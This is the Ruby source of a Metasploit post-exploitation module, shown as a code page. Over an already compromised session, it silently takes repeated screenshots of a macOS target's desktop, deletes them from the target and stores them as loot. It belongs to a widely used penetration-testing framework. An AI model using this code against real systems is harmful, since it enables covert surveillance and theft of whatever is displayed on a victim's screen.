Path: blob/master/modules/post/osx/capture/screen.rb
24756 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OSX Screen Capture',14'Description' => %q{15This module takes screenshots of target desktop and automatically downloads them.16},17'License' => MSF_LICENSE,18'Author' => [19'Peter Toth <globetother[at]gmail.com>' # ported windows version to osx20],21'Platform' => [ 'osx' ],22'SessionTypes' => [ 'meterpreter', 'shell' ],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [ARTIFACTS_ON_DISK],26'Reliability' => []27}28)29)3031register_options(32[33OptEnum.new('FILETYPE',34[true, 'File format to use when saving a snapshot', 'png', %w[png gif]]),35OptInt.new('DELAY', [true, 'Interval between screenshots in seconds. 0 for no delay', 10]),36OptInt.new('COUNT', [true, 'Number of screenshots to collect.', 1]),37OptString.new('TMP_PATH', [true, 'Path to remote temp directory', '/tmp/<random>']),38OptString.new('EXE_PATH', [true, 'Path to remote screencapture executable', '/usr/sbin/screencapture'])39]40)41end4243def run44file_type = datastore['FILETYPE'].shellescape45exe_path = datastore['EXE_PATH'].shellescape46tmp_path = datastore['TMP_PATH'].gsub('<random>', Rex::Text.rand_text_alpha(8)).shellescape47if datastore['COUNT'] < 148count = 149else50count = datastore['COUNT']51end52if datastore['DELAY'] < 053delay = 054else55delay = datastore['DELAY']56end5758if !file?(exe_path)59print_error('Aborting, screencapture binary not found.')60return61end6263print_status "Capturing #{count} screenshots with a delay of #{delay} seconds"64# calculate a sane number of leading zeros to use. log of x is ~ the number of digits65leading_zeros = Math.log10(count).round66file_locations = []6768count.times do |num|69Rex.sleep(delay) unless num <= 07071begin72mkdir(tmp_path)73filename = Rex::Text.rand_text_alpha(7)74file = "#{tmp_path}/#{filename}"75cmd_exec("#{exe_path} -x -C -t #{file_type} #{file}")76data = read_file(file)77file_rm(file)78rescue ::Rex::Post::Meterpreter::RequestError => e79print_error('Error taking the screenshot')80vprint_error("#{e.class} #{e} #{e.backtrace}")81break82end8384unless data85print_error("No data for screenshot #{num}")86next87end8889begin90# let's loot it using non-clobbering filename, even tho this is the source filename, not dest91fn = "screenshot.%0#{leading_zeros}d.#{file_type}" % num92location = store_loot('screen_capture.screenshot', "image/#{file_type}", session, data, fn, 'Screenshot')93vprint_good("Screenshot #{num} saved on #{location}")94file_locations << location95rescue ::IOError, ::Errno::ENOENT => e96print_error('Error storing screenshot')97vprint_error("#{e.class} #{e} #{e.backtrace}")98break99end100end101102print_status('Screen Capturing Complete')103unless file_locations.blank?104print_status('Use "loot -t screen_capture.screenshot" to see file locations of your newly acquired loot')105end106end107end108109110